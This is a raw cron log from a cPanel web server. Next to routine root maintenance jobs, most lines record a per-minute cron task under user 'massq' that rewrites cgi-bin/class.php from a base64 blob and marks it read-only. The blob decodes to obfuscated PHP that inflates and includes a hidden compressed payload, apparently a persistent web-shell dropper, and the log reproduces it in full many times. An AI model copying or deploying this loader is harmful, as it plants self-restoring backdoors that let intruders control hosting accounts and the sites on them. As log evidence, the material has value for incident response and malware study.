Nov 13 02:10:01 server CROND[25995]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 02:10:01 server CROND[25996]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 02:10:01 server CROND[25997]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 02:10:01 server CROND[25998]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:11:01 server CROND[27068]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:12:01 server CROND[27865]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:12:01 server CROND[27866]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 02:13:01 server CROND[28742]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:14:01 server CROND[29641]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:15:01 server CROND[30549]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 13 02:15:01 server CROND[30551]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 02:15:01 server CROND[30552]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 02:15:01 server CROND[30553]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:16:01 server CROND[31588]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:17:01 server CROND[32583]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:18:01 server CROND[1012]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:19:01 server CROND[1888]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:20:01 server CROND[2768]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 02:20:01 server CROND[2769]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 02:20:01 server CROND[2770]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 02:20:01 server CROND[2771]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 02:20:01 server CROND[2772]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:21:01 server CROND[3442]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 02:22:01 server CROND[4389]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
